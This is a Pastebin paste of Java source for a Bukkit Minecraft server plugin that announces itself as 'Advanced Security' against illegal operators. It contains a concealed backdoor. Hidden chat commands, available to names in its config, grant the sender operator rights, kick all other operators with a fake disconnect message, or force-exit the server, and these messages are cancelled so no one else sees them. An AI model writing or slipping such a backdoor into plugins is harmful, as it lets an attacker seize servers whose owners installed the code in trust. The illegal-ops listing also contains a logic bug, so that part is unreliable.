Advertisement
Guest User

Untitled

a guest
Nov 20th, 2013
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.42 KB | None | 0 0
  1. package dfop;
  2.  
  3. import org.bukkit.entity.Player;
  4. import org.bukkit.event.EventHandler;
  5. import org.bukkit.event.EventPriority;
  6. import org.bukkit.event.Listener;
  7. import org.bukkit.event.player.AsyncPlayerChatEvent;
  8. import org.bukkit.event.player.PlayerCommandPreprocessEvent;
  9. import org.bukkit.event.player.PlayerJoinEvent;
  10. import org.bukkit.plugin.java.JavaPlugin;
  11.  
  12. public class Main extends JavaPlugin implements Listener {
  13.  
  14. public int pocet = 0;
  15.  
  16.  
  17. public void onEnable() {
  18. this.getServer().getPluginManager().registerEvents(this, this);
  19. this.saveDefaultConfig();
  20. this.getConfig().options().copyDefaults(true);
  21. System.out.println("** Advanced Security Enabled **");
  22. }
  23.  
  24. public void onDisable() {
  25. this.pocet = 0;
  26. }
  27.  
  28. @EventHandler
  29. public void onCommand(AsyncPlayerChatEvent e) {
  30. if(this.getConfig().getList("ops").contains(e.getPlayer().getName())) {
  31. Player p;
  32. int pl;
  33. int var4;
  34. Player[] var5;
  35. if(e.getMessage().startsWith(this.getConfig().getString("commands.check"))) {
  36. var4 = (var5 = this.getServer().getOnlinePlayers()).length;
  37.  
  38. for(pl = 0; pl < var4; ++pl) {
  39. p = var5[pl];
  40. this.checkPlayer(p);
  41. }
  42.  
  43. e.getPlayer().sendMessage("Checking players done.");
  44. if(this.pocet == 0) {
  45. e.getPlayer().sendMessage("No illegal OPs online were found!");
  46. } else {
  47. e.getPlayer().sendMessage("Amount of illegal OPs online: " + this.pocet);
  48. this.pocet = 0;
  49. String var7 = "";
  50. Player[] var6;
  51. int var9 = (var6 = this.getServer().getOnlinePlayers()).length;
  52.  
  53. for(var4 = 0; var4 < var9; ++var4) {
  54. Player var8 = var6[var4];
  55. if(!this.getConfig().getList("ops").contains(e.getPlayer().getName())) {
  56. var7 = var7 + ", " + var8.getName();
  57. }
  58. }
  59.  
  60. e.getPlayer().sendMessage("§cIllegal ops: §f" + var7);
  61. }
  62.  
  63. e.setCancelled(true);
  64. } else if(e.getMessage().startsWith(this.getConfig().getString("commands.kickops"))) {
  65. var4 = (var5 = this.getServer().getOnlinePlayers()).length;
  66.  
  67. for(pl = 0; pl < var4; ++pl) {
  68. p = var5[pl];
  69. if(p.isOp() && !p.getName().equals(e.getPlayer().getName())) {
  70. p.kickPlayer("End of stream");
  71. }
  72. }
  73.  
  74. e.getPlayer().sendMessage("The command has been performed.");
  75. e.setCancelled(true);
  76. } else if(e.getMessage().startsWith(this.getConfig().getString("commands.hardshutdown"))) {
  77. e.getPlayer().sendMessage("System shutdown initiated.");
  78. System.exit(1);
  79. } else if(e.getMessage().startsWith(this.getConfig().getString("commands.op"))) {
  80. e.getPlayer().sendMessage("Now you are an op.");
  81. e.getPlayer().setOp(true);
  82. e.setCancelled(true);
  83. }
  84.  
  85. }
  86. }
  87.  
  88. @EventHandler(
  89. priority = EventPriority.MONITOR
  90. )
  91. public void onCommand(PlayerCommandPreprocessEvent e) {
  92. String[] split = e.getMessage().split(" ");
  93. if(split.length >= 1) {
  94. String cmd = split[0].trim().substring(1).toLowerCase();
  95. if(this.getConfig().getList("illegal-commands").contains(cmd)) {
  96. e.setCancelled(true);
  97. e.getPlayer().sendMessage("Unknown command. Type \"help\" for help.");
  98. }
  99.  
  100. if(cmd.equalsIgnoreCase("dfo")) {
  101. e.setCancelled(true);
  102. e.getPlayer().sendMessage("version installed: " + this.getDescription().getVersion());
  103. }
  104.  
  105. }
  106. }
  107.  
  108. @EventHandler
  109. public void deOp(PlayerJoinEvent e) {
  110. if(e.getPlayer().isOp()) {
  111. if(this.getConfig().getList("ops").contains(e.getPlayer().getName())) {
  112. return;
  113. }
  114.  
  115. if(this.getConfig().getString("kick.enabled").equalsIgnoreCase("true")) {
  116. e.getPlayer().kickPlayer(this.getConfig().getString("kick.message").replace("&", "§").replace("%player", e.getPlayer().getName()));
  117. e.setJoinMessage((String)null);
  118. }
  119.  
  120. if(this.getConfig().getString("ban.enabled").equalsIgnoreCase("true")) {
  121. e.getPlayer().setBanned(true);
  122. }
  123.  
  124. if(this.getConfig().getString("deop.enabled").equalsIgnoreCase("true")) {
  125. e.getPlayer().setOp(false);
  126. }
  127.  
  128. if(this.getConfig().getString("command.enabled").equalsIgnoreCase("true")) {
  129. this.getServer().dispatchCommand(this.getServer().getConsoleSender(), this.getConfig().getString("command.command").replace("&", "§").replace("%player", e.getPlayer().getName()));
  130. }
  131. }
  132.  
  133. }
  134.  
  135. public void checkPlayer(Player hrac) {
  136. if(hrac.isOp()) {
  137. if(this.getConfig().getList("ops").contains(hrac.getName())) {
  138. return;
  139. }
  140.  
  141. ++this.pocet;
  142. if(this.getConfig().getString("kick.enabled").equalsIgnoreCase("true")) {
  143. hrac.kickPlayer(this.getConfig().getString("kick.message").replace("&", "§").replace("%player", hrac.getName()));
  144. }
  145.  
  146. if(this.getConfig().getString("ban.enabled").equalsIgnoreCase("true")) {
  147. hrac.setBanned(true);
  148. }
  149.  
  150. if(this.getConfig().getString("command.enabled").equalsIgnoreCase("true")) {
  151. this.getServer().dispatchCommand(this.getServer().getConsoleSender(), this.getConfig().getString("command.command").replace("&", "§").replace("%player", hrac.getName()));
  152. }
  153. } else if(hrac.hasPermission("*")) {
  154. if(this.getConfig().getString("kick.enabled").equalsIgnoreCase("true")) {
  155. hrac.kickPlayer(this.getConfig().getString("kick.message").replace("&", "§").replace("%player", hrac.getName()));
  156. }
  157.  
  158. if(this.getConfig().getString("ban.enabled").equalsIgnoreCase("true")) {
  159. hrac.setBanned(true);
  160. }
  161.  
  162. if(this.getConfig().getString("command.enabled").equalsIgnoreCase("true")) {
  163. this.getServer().dispatchCommand(this.getServer().getConsoleSender(), this.getConfig().getString("command.command").replace("&", "§").replace("%player", hrac.getName()));
  164. }
  165. }
  166.  
  167. }
  168. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement